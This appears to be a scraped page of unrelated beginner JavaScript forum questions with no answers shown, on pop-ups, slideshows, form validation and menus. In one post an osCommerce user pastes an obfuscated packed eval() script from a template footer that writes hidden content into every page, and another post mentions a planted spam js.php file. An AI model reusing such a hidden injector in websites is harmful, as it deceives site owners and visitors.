JavaScript - I Need Code To Open A Java Alert On Another Site
Hi
My website was recently ftp hacked and a file inserted into it - js.php - which seems to be some sort of advertising spam programme. Having spotted the file I have renamed it to hide it but lots of other sites are still referring into my site looking for this php file. What I would like to do is to *just* open a java alert box on the referring sites to alert the users that the site has been hacked and that they should notify the webmaster so that he can fix his site. The line referring into my site is - <script type="text/javascript" src="http://www.mysite.com/js.php"></script> Is this something simple to do? I know nothing about Java or PHP so need detailed help. Thanks John Similar TutorialsHello all,I have a website and I would like a pop-up window to promote a new website venture I have. I would like for the new website to open in a completely new window/browser when my members simply click on the index page (No link or Buttons).The code below does most of what I ask lol,but it.. 1.Only opens in a new tab (in same browser) while I would like for it to open in a completely new browser "full page" menu bar scroll tab and all. plus 2.It seems to open each and every time the page is clicked,which will be annoying to my members.I would only like for it to open 1 time per visitor every 24 hours or whenever cookies are cleared. Code: <html> <head> <script type="text/javascript"> function click_on() { window.open("URL HERE", "_blank"); } </script> </head> <body onclick="click_on()"> </body> </html> I am no expert at this,and my knowledge is very limited,so excuse me if this is a simple situation.Any help would be greatly appreciated. Thanks, Roco Hi this is my first post i dont know were to post it any way hope you can help me out ok the thing is that i got this script <script> alert("mesages"); document.location = "http://google.com"; </script> easy script but when you click button it takes you the the URL but i want it in a new tab plz help and sorry if this was posted in a new section i try google this but not luck is there a way in HTML or Javascript to open a new tab (or new window) and force it to be a new tab (or new window) after alert confirmation of javascript? onclick="window.open('google.com', '_blank'); return false;" OR document.location.href = "google.com"+"&target='_blank'"; not working Code: <?php if ($_POST[oke]) { ?> <script language="JavaScript">alert('thanks'); document.location='google.com' </script> <?php } ?> <form target="_self" method="post"> <input type="submit" name="oke" value="save"> </form> how to put the target _blank Hi, I need to a small task in Javascripts and I would like to know whether this can be done. If someone knows a way that can be done or provide me some code, I would be more greatful. This is the task I need to do :- I have a small shoppig cart. I want when a customer visit the site, if that is his first time on the website and before he quit the browser or go to another URL of another domain or press back and go to another page, an alert should pop up. I have did this using cookies and Javascripts and it is working properly as I wanted. But this alert pops up even when I go inside of my own web. I want this alert only to popup when they leave from my web or go to anyother and it should not popup when I click on my links or go in to my web. I hope, I explained what I want and it is clear. Please if someone knows a solution for this. Please send me your ideas or if you have some codes that can be helpfull to me, please send me. Thank you. i hope this is the right section to post this in. wasnt sure if this question was client side or server side i have a javascript slideshow that i would like to add to my website. its free to use and it came with some coding when downloaded. my problem is that this is my first time EVER using java (ive fiddled with php tho ) and i cant get the slide show to work on my site. the coding it came with gives you an entire webpage ... i just need the slideshow to go inside a div container instead of being a whole page the following is an embedded style that you can simply copy and paste to notepad, save as an html file, and open in your browser. (im using firefox) all the images etc are already being hosted. so you have to do nothing but open it in your browser to see the script working. like i said, this is the code for an entire webpage ... i just need the slide show by it self in a div container Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>TinySlider - JavaScript Slideshow</title> <style all="media" title="YourConnexx Media" type="text/css"> * {margin:0; padding:0} body {font:12px Verdana,Arial; color:#555; background:#222 url(images/bg.jpg) 50% 0 no-repeat} p {line-height:1.4; margin-bottom:12px} #wrapper {width:578px; margin:75px auto} .sliderbutton {float:left; width:32px; padding-top:134px} .sliderbutton img {cursor:pointer} .sliderbutton img:hover {background:#666} #slider {float:left; position:relative; overflow:auto; width:500px; height:300px; border:2px solid #fff; background:#fff} #slider ul {position:absolute; list-style:none; top:0; left:0} #slider li {float:left; width:500px; height:300px; padding-right:10px} .pagination {float:left; list-style:none; height:25px; margin:15px 0 0 32px} .pagination li {float:left; cursor:pointer; padding:5px 8px; background:#666; border:1px solid #999; margin:0 4px 0 0; text-align:center; color:#222} .pagination li:hover {background:#777; border:1px solid #bbb; color:#000} li.current {border:1px solid #ccc; background:#888} li#content {width:464px; height:270px; padding:15px 28px 15px 18px} #content h1 {font:22px Georgia,Verdana; margin-bottom:15px; color:#036} </style> <script type="text/javascript" src="script.js"></script> </head> <body> <div id="wrapper"> <div> <div class="sliderbutton"><img src="images/left.gif" width="32" height="38" alt="Previous" onclick="slideshow.move(-1)" /></div> <div id="slider"> <ul> <li id="content"> <h1>TinySlider - Simple JavaScript Slideshow</h1> <p>This super lightweight (1.5 KB) sliding JavaScript slideshow script can easily be customized to integrate with any website through CSS. You can add any content to it, not just images, and it gracefully degrades without JavaScript support. The script supports automatic rotation with the option to auto-resume, an active class on a navigation list if applicable, and a direction toggle (vertical or horizontal).</p> <p><em>For complete details visit <a href="http://www.leigeber.com/">leigeber.com</a>.</em></p> </li> <li><img src="photos/sea-turtle.jpg" width="500" height="300" alt="Sea turtle" /></li> <li><img src="photos/coral-reef.jpg" width="500" height="300" alt="Coral Reef" /></li> <li><img src="photos/blue-fish.jpg" width="500" height="300" alt="Blue Fish" /></li> </ul> </div> <div class="sliderbutton"><img src="images/right.gif" width="32" height="38" alt="Next" onclick="slideshow.move(1)" /></div> </div> <ul id="pagination" class="pagination"> <li onclick="slideshow.pos(0)">1</li> <li onclick="slideshow.pos(1)">2</li> <li onclick="slideshow.pos(2)">3</li> <li onclick="slideshow.pos(3)">4</li> </ul> </div> <script type="text/javascript"> var slideshow=new TINY.slider.slide('slideshow',{ id:'slider', auto:3, resume:true, vertical:false, navid:'pagination', activeclass:'current', position:0 }); </script> </body> </html> please show me what i need to get this slide show into a div container by it self. when i do it it doesnt work at all. it appears in the div container as a text area or something but it doesnt work at all. just shows the first slide and nothing else I have this junky web template for oscommerce, but I am in way too deep to turn around now. From day one of installing the osc, I have had this little error in the bottom left corner of internet explorer. It occurs on every page. You can view the site at http://www.burgersmarketpc.com/catalog I can only think this code is what makes it happen, which is only seen by "view source" in internet explorer. Code: </tr><tr valign="middle" class="footertext"><td align="left" width="25%"> </td><td align="right" width="25%"><a style="padding-right:20px;color:#000000" href="http://www.********************/oscommerce-templates.html">osCommerce Templates</a></td></tr></table></td></tr></table></center><script type='text/javascript'> eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('O I(){D a=J K(9,9,E,j,4,8,3,h,2,5,7,f,6,F,z,f,F,1,k,l,P,f,G,f,Q,4,8,3,h,2,l,5,2,R,h,1,k,l,2,1,S,2,p,T,f,G,f,j,4,8,3,h,2,l,A,10,9,9,9,G,f,8,5,7,3,6,n,r,4,5,k,5,s,g,4,z,e,1,6,2,m,7,3,6,n,j,m,7,1,6,F,2,o,u,H,v,10,9,9,9,G,f,8,5,7,3,6,n,r,2,5,k,5,w,w,v,10,9,9,9,t,g,8,5,B,v,7,3,6,n,r,4,A,u,H,v,7,3,6,n,r,4,u,u,C,5,U,10,9,9,9,9,3,t,5,B,s,g,4,z,e,1,6,2,m,7,3,6,n,j,V,7,3,6,n,r,4,W,m,o,8,1,t,5,k,k,5,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,l,C,5,x,8,1,f,n,v,10,9,9,9,9,3,t,5,B,7,3,6,n,r,4,5,k,k,k,5,y,C,5,s,g,4,z,e,1,6,2,m,q,8,3,2,1,B,w,E,3,t,8,f,e,1,5,o,1,3,F,o,2,k,l,X,y,y,l,5,q,3,s,2,o,k,l,H,y,y,Y,l,5,x,g,8,s,1,8,k,l,y,l,5,j,8,4,k,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,,h,3,4,p,1,p,4,o,1,4,n,r,7,3,6,n,r,g,4,m,h,o,h,Z,7,3,6,n,k,w,N,1,6,4,g,s,1,11,12,13,14,g,e,h,g,6,1,6,2,B,s,g,4,z,e,1,6,2,m,7,g,4,f,2,3,g,6,m,o,8,1,t,C,N,w,l,5,A,E,p,3,t,8,f,e,1,A,w,C,v,10,9,9,9,15,10,9,9,E,p,j,4,8,3,h,2,A);D b=J K();D c;D d='';16(i=0;i<a.17;i++){b[i]=18.19(a[i]);c=d+=b[i]}1a.1b(c)}I();',62,74,'|101|116|105|99|32|110|108|114||||||109|97|111|112||115|61|34|46|107|104|47|119|95|100|102|45|59|39|98|48|117|62|40|41|var|60|103|118|49|myCodedStuff|new|Array|58|122|43|function|74|83|121|120|106|123|91|93|50|37|63||85|82|73|67|125|for|length|String|fromCharCode|document|write'.split('|'),0,{}))</script></body> my file index.php is the main page, which should create all that mess, but i dont know how it creates all that. I really hope you guys can lead me to the fix. here is the index.php code PHP Code: <?php if ($category_depth == 'nested') { // categoies with subcategory $category_query = tep_db_query("select cd.categories_name, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = '" . (int)$current_category_id . "' and cd.categories_id = '" . (int)$current_category_id . "' and cd.language_id = '" . (int)$languages_id . "'"); $category = tep_db_fetch_array($category_query); ?> <table border="0" width="100%" cellspacing="0" cellpadding="0"> <tr> <td><table border="0" width="100%" cellspacing="0" cellpadding="0" class="head_table"> <tr> <td class="pageHeading"><?php echo HEADING_TITLE; ?></td> <td class="pageHeading2" align="right"><?php echo tep_image(DIR_WS_IMAGES . $category['categories_image'], $category['categories_name'], HEADING_IMAGE_WIDTH, HEADING_IMAGE_HEIGHT); ?></td> </tr> </table></td> </tr> <tr> <td><table border="0" width="100%" cellspacing="0" cellpadding="0"> <tr> <td align="center"><table border="0" cellspacing="10" cellpadding="5" class="categ_table"> <tr> <?php if (isset($cPath) && strpos('_', $cPath)) { // check to see if there are deeper categories within the current category $category_links = array_reverse($cPath_array); for($i=0, $n=sizeof($category_links); $i<$n; $i++) { $categories_query = tep_db_query("select count(*) as total from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$category_links[$i] . "' and c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "'"); $categories = tep_db_fetch_array($categories_query); if ($categories['total'] < 1) { // do nothing, go through the loop } else { $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.categories_image, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$category_links[$i] . "' and c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "' order by sort_order, cd.categories_name"); break; // we've found the deepest category the customer is in } } } else { $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.categories_image, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$current_category_id . "' and c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "' order by sort_order, cd.categories_name"); } $number_of_categories = tep_db_num_rows($categories_query); $rows = 0; while ($categories = tep_db_fetch_array($categories_query)) { $rows++; $cPath_new = tep_get_path($categories['categories_id']); $width = (int)(100 / MAX_DISPLAY_CATEGORIES_PER_ROW) . '%'; echo '<td align="center" class="smallText" width="' . $width . '" valign="top" ><a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">' . tep_image(DIR_WS_IMAGES . $categories['categories_image'], $categories['categories_name'], SUBCATEGORY_IMAGE_WIDTH, SUBCATEGORY_IMAGE_HEIGHT,'class="subcategory_image"') . '<br>' . $categories['categories_name'] . '</a>'.'</td>' . "\n"; if ((($rows / MAX_DISPLAY_CATEGORIES_PER_ROW) == floor($rows / MAX_DISPLAY_CATEGORIES_PER_ROW)) && ($rows != $number_of_categories)) { echo '</tr>' . "\n"; echo '<tr>' . "\n"; } } // needed for the new products module shown below $new_products_category_id = $current_category_id; ?> </tr> </table></td> </tr> <tr> <td><?php include(DIR_WS_MODULES . FILENAME_NEW_PRODUCTS); ?></td> </tr> </table></td> </tr> </table><?php } elseif ($category_depth == 'products' || isset($HTTP_GET_VARS['manufacturers_id'])) { // categoies without subcategory // create column list $define_list = array('PRODUCT_LIST_MODEL' => PRODUCT_LIST_MODEL, 'PRODUCT_LIST_NAME' => PRODUCT_LIST_NAME, 'PRODUCT_LIST_MANUFACTURER' => PRODUCT_LIST_MANUFACTURER, 'PRODUCT_LIST_PRICE' => PRODUCT_LIST_PRICE, 'PRODUCT_LIST_QUANTITY' => PRODUCT_LIST_QUANTITY, 'PRODUCT_LIST_WEIGHT' => PRODUCT_LIST_WEIGHT, 'PRODUCT_LIST_IMAGE' => PRODUCT_LIST_IMAGE, 'PRODUCT_LIST_BUY_NOW' => PRODUCT_LIST_BUY_NOW); asort($define_list); $column_list = array(); reset($define_list); while (list($key, $value) = each($define_list)) { if ($value > 0) $column_list[] = $key; } $select_column_list = ''; for ($i=0, $n=sizeof($column_list); $i<$n; $i++) { switch ($column_list[$i]) { case 'PRODUCT_LIST_MODEL': $select_column_list .= 'p.products_model, '; break; case 'PRODUCT_LIST_NAME': $select_column_list .= 'pd.products_name, '; break; case 'PRODUCT_LIST_MANUFACTURER': $select_column_list .= 'm.manufacturers_name, '; break; case 'PRODUCT_LIST_QUANTITY': $select_column_list .= 'p.products_quantity, '; break; case 'PRODUCT_LIST_IMAGE': $select_column_list .= 'p.products_image, '; break; case 'PRODUCT_LIST_WEIGHT': $select_column_list .= 'p.products_weight, '; break; } } // show the products of a specified manufacturer if (isset($HTTP_GET_VARS['manufacturers_id'])) { if (isset($HTTP_GET_VARS['filter_id']) && tep_not_null($HTTP_GET_VARS['filter_id'])) { // We are asked to show only a specific category $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "'"; } else { // We show them all $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m where p.products_status = '1' and pd.products_id = p.products_id and pd.language_id = '" . (int)$languages_id . "' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "'"; } } else { // show the products in a given categorie if (isset($HTTP_GET_VARS['filter_id']) && tep_not_null($HTTP_GET_VARS['filter_id'])) { // We are asked to show only specific catgeory $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$current_category_id . "'"; } else { // We show them all $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c where p.products_status = '1' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$current_category_id . "'"; } } if ( (!isset($HTTP_GET_VARS['sort'])) || (!ereg('^[1-8][ad]$', $HTTP_GET_VARS['sort'])) || (substr($HTTP_GET_VARS['sort'], 0, 1) > sizeof($column_list)) ) { for ($i=0, $n=sizeof($column_list); $i<$n; $i++) { if ($column_list[$i] == 'PRODUCT_LIST_NAME') { $HTTP_GET_VARS['sort'] = $i+1 . 'a'; $listing_sql .= " order by pd.products_name"; break; } } } else { $sort_col = substr($HTTP_GET_VARS['sort'], 0 , 1); $sort_order = substr($HTTP_GET_VARS['sort'], 1); switch ($column_list[$sort_col-1]) { case 'PRODUCT_LIST_MODEL': $listing_sql .= " order by p.products_model " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; case 'PRODUCT_LIST_NAME': $listing_sql .= " order by pd.products_name " . ($sort_order == 'd' ? 'desc' : ''); break; case 'PRODUCT_LIST_MANUFACTURER': $listing_sql .= " order by m.manufacturers_name " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; case 'PRODUCT_LIST_QUANTITY': $listing_sql .= " order by p.products_quantity " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; case 'PRODUCT_LIST_IMAGE': $listing_sql .= " order by pd.products_name"; break; case 'PRODUCT_LIST_WEIGHT': $listing_sql .= " order by p.products_weight " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; case 'PRODUCT_LIST_PRICE': $listing_sql .= " order by final_price " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; } } ?> <table border="0" width="<?php echo $content; ?>" cellspacing="0" cellpadding="0"> <tr> <td><table border="0" width="<?php echo $content; ?>" cellspacing="0" cellpadding="0" class="head_table"> <tr> <td class="pageHeading"><?php echo HEADING_TITLE; ?></td> <?php // optional Product List Filter if (PRODUCT_LIST_FILTER > 0) { if (isset($HTTP_GET_VARS['manufacturers_id'])) { $filterlist_sql = "select distinct c.categories_id as id, cd.categories_name as name from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c, " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where p.products_status = '1' and p.products_id = p2c.products_id and p2c.categories_id = c.categories_id and p2c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "' and p.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "' order by cd.categories_name"; } else { $filterlist_sql= "select distinct m.manufacturers_id as id, m.manufacturers_name as name from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c, " . TABLE_MANUFACTURERS . " m where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and p.products_id = p2c.products_id and p2c.categories_id = '" . (int)$current_category_id . "' order by m.manufacturers_name"; } $filterlist_query = tep_db_query($filterlist_sql); if (tep_db_num_rows($filterlist_query) > 1) { echo '<td align="left" class="pageHeading3" width="190"' . tep_draw_form('filter', FILENAME_DEFAULT, 'get') . ' '; if (isset($HTTP_GET_VARS['manufacturers_id'])) { echo tep_draw_hidden_field('manufacturers_id', $HTTP_GET_VARS['manufacturers_id']); $options = array(array('id' => '', 'text' => TEXT_ALL_CATEGORIES)); } else { echo tep_draw_hidden_field('cPath', $cPath); $options = array(array('id' => '', 'text' => TEXT_ALL_MANUFACTURERS)); } echo tep_draw_hidden_field('sort', $HTTP_GET_VARS['sort']); while ($filterlist = tep_db_fetch_array($filterlist_query)) { $options[] = array('id' => $filterlist['id'], 'text' => $filterlist['name']); } echo tep_draw_pull_down_menu('filter_id', $options, (isset($HTTP_GET_VARS['filter_id']) ? $HTTP_GET_VARS['filter_id'] : ''), 'onchange="this.form.submit()"'); echo tep_hide_session_id() . '</form></td>' . "\n"; } } // Get the right image for the top-right $image = DIR_WS_IMAGES . 'table_background_list.gif'; if (isset($HTTP_GET_VARS['manufacturers_id'])) { $image = tep_db_query("select manufacturers_image from " . TABLE_MANUFACTURERS . " where manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "'"); $image = tep_db_fetch_array($image); $image = $image['manufacturers_image']; } elseif ($current_category_id) { $image = tep_db_query("select categories_image from " . TABLE_CATEGORIES . " where categories_id = '" . (int)$current_category_id . "'"); $image = tep_db_fetch_array($image); $image = $image['categories_image']; } ?> <?php echo HEADING_IMAGE_WIDTH ? '<td class="pageHeading2" width="'.HEADING_IMAGE_WIDTH.'">'.tep_image(DIR_WS_IMAGES . $image, HEADING_TITLE, HEADING_IMAGE_WIDTH, HEADING_IMAGE_HEIGHT).'</td>' : ''; ?> </tr> </table></td> </tr> <tr> <td><?php include(DIR_WS_MODULES . "product_listing_2.php"); ?></td> </tr> </table> <?php } else { // default page ?> <table border="0" cellspacing="0" cellpadding="0"> <tr> <td><?php include(DIR_WS_MODULES . FILENAME_NEW_PRODUCTS); ?></td> </tr> </table><?php } ?> if you need to see any other files, just let me know. I will much appreciate the help and fix to this. Thanks! For some reason, none of my javascript executes! Perhaps I am making a blindingly simple mistake, but whenever I load my page, only the HTML shows! To explain what I am trying to make happen; I am trying to make a simple page where the user types in some text, selects random color or not, and the text is displayed in a random (or not) color. I understand I have not added the part where the text is a random color, but I was merely trying to display the random color (color[c]) with document.write to see if the color was random. To summarize my questions: 1. Why won't the color array ( color[c] ) show with the document.write 2. Why won't the user's inputted text show up ( also with document.write ) 3. How would I go about making the random color variable work with the text? ( something along the lines of <h1 style="color:color[c]">usertext</h1>? Here's the code: Code: <html> <head> <title>Custom Text Generator!</title> </head> <body> <form name="form"> <input type="text" name="usertext" value="Enter Text Here" style="padding:3"><br /><br /> <font>Random Color:</font><input type="checkbox" name="colorcheck"> </form> <button type="button" onclick="go ()">Go</button> <script type="text/javascript"> var randomnumber=Math.floor(Math.random()*11); switch (randomnumber) {case randomnumber<3.3: c=0 break; case randomnumber<6.6: c=2 break; default: c=1 break} var color=new Array (); color[0]="blue"; color[1]="green"; color[2]="red"; document.write(color[c]); function go () { usertext = document.form.usertext.value; document.write(usertext)}; </script> </body> </html> Hi guys.. I really need a bit of help.. is anyone looking at this good with JS? I have a php form validation script but i think its a bit slow and would rather a JS script instead... here is what i have in php.. PHP Code: <?php if(isset($_POST['submit'])) { $firstName = $_POST['firstName']; $lastName = $_POST['lastName']; $email = $_POST['email']; $mobile = $_POST['mobile']; $comments = $_POST['comments']; $errors = array(); function display_errors($error) { echo "<p class=\"formMessage\">"; echo $error[0]; echo "</p>"; } function validateNames($names) { return(strlen($names) < 3); } function validateEmail($strValue) { $strPattern = '/([A-Z0-9._%+-]+@(?:[A-Z0-9-]+\.)+[A-Z]{2,4})/sim'; return(preg_match($strPattern,$strValue)); } function validateMobile($strValue) { $strPattern = '/^\d{10}$/'; return(preg_match($strPattern,$strValue)); } function validateComments($comments) { return(strlen($comments) < 10); } if(validateNames($firstName)) { $errors[] = 'Please Enter Your First Name'; } if(validateNames($lastName)) { $errors[] = 'Please Enter Your Second Name'; } if(!validateEmail($email)) { $errors[] = 'Please Enter Your Correct Email'; } if(!validateMobile($mobile)) { $errors[] = 'Please Enter Your Correct Mobile Number'; } if(validateComments($comments)) { $errors[] = 'Please Enter A Comment More Than 10 Characters'; } if(empty($errors)) { $to = "info@eventpromotion.ie"; $subject = "Event Promotion Enquiry!"; $body = "First Name: " . $_POST['firstName'] . "\nLast Name: " . $_POST['lastName'] . "\nEmail: " . $_POST['email'] . "\nMobile: " . $_POST['mobile'] . "\nMessage: " . $_POST['comments']; $headers = "From: ". $firstName ." ". $lastName . " <" . $email . ">\r\n"; if (mail($to, $subject, $body, $headers)) { echo("<p class=\"formMessage\">Thanks for submitting your enquiry.</p>"); } else { echo("<p class=\"formMessage\">Message delivery failed.</p>"); } } else { //echo "error"; display_errors($errors); } } ?> <form id="form" method="post" action="index.php#quickContact"> <p> <label>First Name</label><br /> <input type="text" name="firstName" value="<?php if(isset($firstName)){echo $firstName;} ?>" /> </p> <p> <label>Last Name</label><br /> <input type="text" name="lastName" value="<?php if(isset($lastName)){echo $lastName;} ?>" /> </p> <p> <label>Email:</label><br /> <input type="text" name="email" value="<?php if(isset($email)){echo $email;} ?>" /> </p> <p> <label>Mobile:</label><br /> <input type="text" name="mobile" value="<?php if(isset($mobile)){echo $mobile;} ?>" /> </p> <p> <label>Comments:</label> <br /> <textarea name="comments" cols="30" rows="3" ><?php if(isset($comments)){echo $comments;} ?></textarea> </p> <p> <input class="send" type="image" src="images/submit2.gif" name="submit" value="Submit" /></p> </form> does anyone know how to transfer this to JS so that it will be easy to understand.. Im not good with JS at all Greetings all, I picked up a Theme Forest site template and I'm trying to remove the social media tools for Facebook & Twitter from the "work" section on my site. When a picture is clicked you can see the social media buttons at the bottom of the viewer and I'd like to remove that function. Site with issues: www.lenoxcruthers.com Here is a dropbox file containing my java script files: https://www.dropbox.com/sh/io29dadjx23haa7/nPE-jJcP06 Thanks, Hi everyone, I was hoping you could help me with a faily easy question. I was asked to edit some script and I figured out most of it, however I can't seem to be able to make the links in my java script menu open in new pages. Any help would be appreciated. Below is a copy of the script. It's a very long script, so I just sent a section of it. Pleasse scroll down to the bottom to see where the links are (ex. http://www.korg.com, etc) Thank you, Paul. <!-- function mmLoadMenus() { if (window.mm_menu_1107110519_0) return; window.mm_menu_1107110519_0 = new Menu("root",150,17,"Verdana, Arial, Helvetica, sans-serif",11,"#92c4f5","#2a495f","#2a495f","#99ccff","left","middle",3,0,500,0,0,true,true,true,0,false ,true); mm_menu_1107110519_0.addMenuItem("Parts Department","location='/e/support/accessories.html'"); mm_menu_1107110519_0.addMenuItem("Warranty Registration","location='/e/support/warranty.html'"); mm_menu_1107110519_0.addMenuItem("F.A.Qs","location='/e/support/faqs.html'"); mm_menu_1107110519_0.addMenuItem("Tutorials & Guides","location='/e/support/tutorials.html'"); mm_menu_1107110519_0.addMenuItem("Related Products","location='/e/support/related_products.html'"); mm_menu_1107110519_0.addMenuItem("Downloads","location='/e/support/downloads.html'"); mm_menu_1107110519_0.addMenuItem("Newsletter","location='/e/support/newsletter.html'"); mm_menu_1107110519_0.addMenuItem("Owner’s Manual","location='/e/support/manual_request.html'"); mm_menu_1107110519_0.addMenuItem("Korg Proview Request","location='/e/support/literature_request.html'"); mm_menu_1107110519_0.addMenuItem("Suggested Retail Prices","location='/e/products/pricelists.html'"); mm_menu_1107110519_0.hideOnMouseOut=true; mm_menu_1107110519_0.menuBorder=1; mm_menu_1107110519_0.menuLiteBgColor='#2a4960'; mm_menu_1107110519_0.menuBorderBgColor='#000000'; mm_menu_1107110519_0.bgColor='#000000'; window.mm_menu_1107105559_0_1 = new Menu("KORG",150,17,"Verdana, Arial, Helvetica, sans-serif",11,"#92c4f5","#2a495f","#2a495f","#99ccff","left","middle",3,0,500,0,0,true,true,true,0,false ,true); mm_menu_1107105559_0_1.addMenuItem("KORG.com","location='http://www.korg.com'"); mm_menu_1107105559_0_1.addMenuItem("Pricelist","location='http://www.korgcanada.com/e/products/pricelists.html'"); mm_menu_1107105559_0_1.hideOnMouseOut=true; mm_menu_1107105559_0_1.menuBorder=1; mm_menu_1107105559_0_1.menuLiteBgColor='#2a4960'; mm_menu_1107105559_0_1.menuBorderBgColor='#000000'; mm_menu_1107105559_0_1.bgColor='#000000'; window.mm_menu_1107105559_0_2 = new Menu("VOX",150,17,"Verdana, Arial, Helvetica, sans-serif",11,"#92c4f5","#2a495f","#2a495f","#99ccff","left","middle",3,0,500,0,0,true,true,true,0,false ,true); mm_menu_1107105559_0_2.addMenuItem("VOX.co.uk","location='http://www.voxamps.co.uk'"); mm_menu_1107105559_0_2.addMenuItem("VOX online Newsletter","location='http://www.f3studios.com/vox'"); mm_menu_1107105559_0_2.addMenuItem("Pricelist","location='http://www.korgcanada.com/e/products/pricelists.html'"); mm_menu_1107105559_0_2.hideOnMouseOut=true; mm_menu_1107105559_0_2.menuBorder=1; mm_menu_1107105559_0_2.menuLiteBgColor='#2a4960'; mm_menu_1107105559_0_2.menuBorderBgColor='#000000'; mm_menu_1107105559_0_2.bgColor='#000000'; window.mm_menu_1107105559_0_3 = new Menu("SAMSON",150,17,"Verdana, Arial, Helvetica, sans-serif",11,"#92c4f5","#2a495f","#2a495f","#99ccff","left","middle",3,0,500,0,0,true,true,true,0,false ,true); mm_menu_1107105559_0_3.addMenuItem("SAMSON WIRELESS","location='http://www.samsontech.com/products/brandpage.cfm?brandID=1'"); mm_menu_1107105559_0_3.addMenuItem("SAMSON AUDIO","location='http://www.samsontech.com/products/brandpage.cfm?brandID=2'"); mm_menu_1107105559_0_3.addMenuItem("Pricelist","location='http://www.korgcanada.com/e/products/pricelists.html'"); mm_menu_1107105559_0_3.hideOnMouseOut=true; 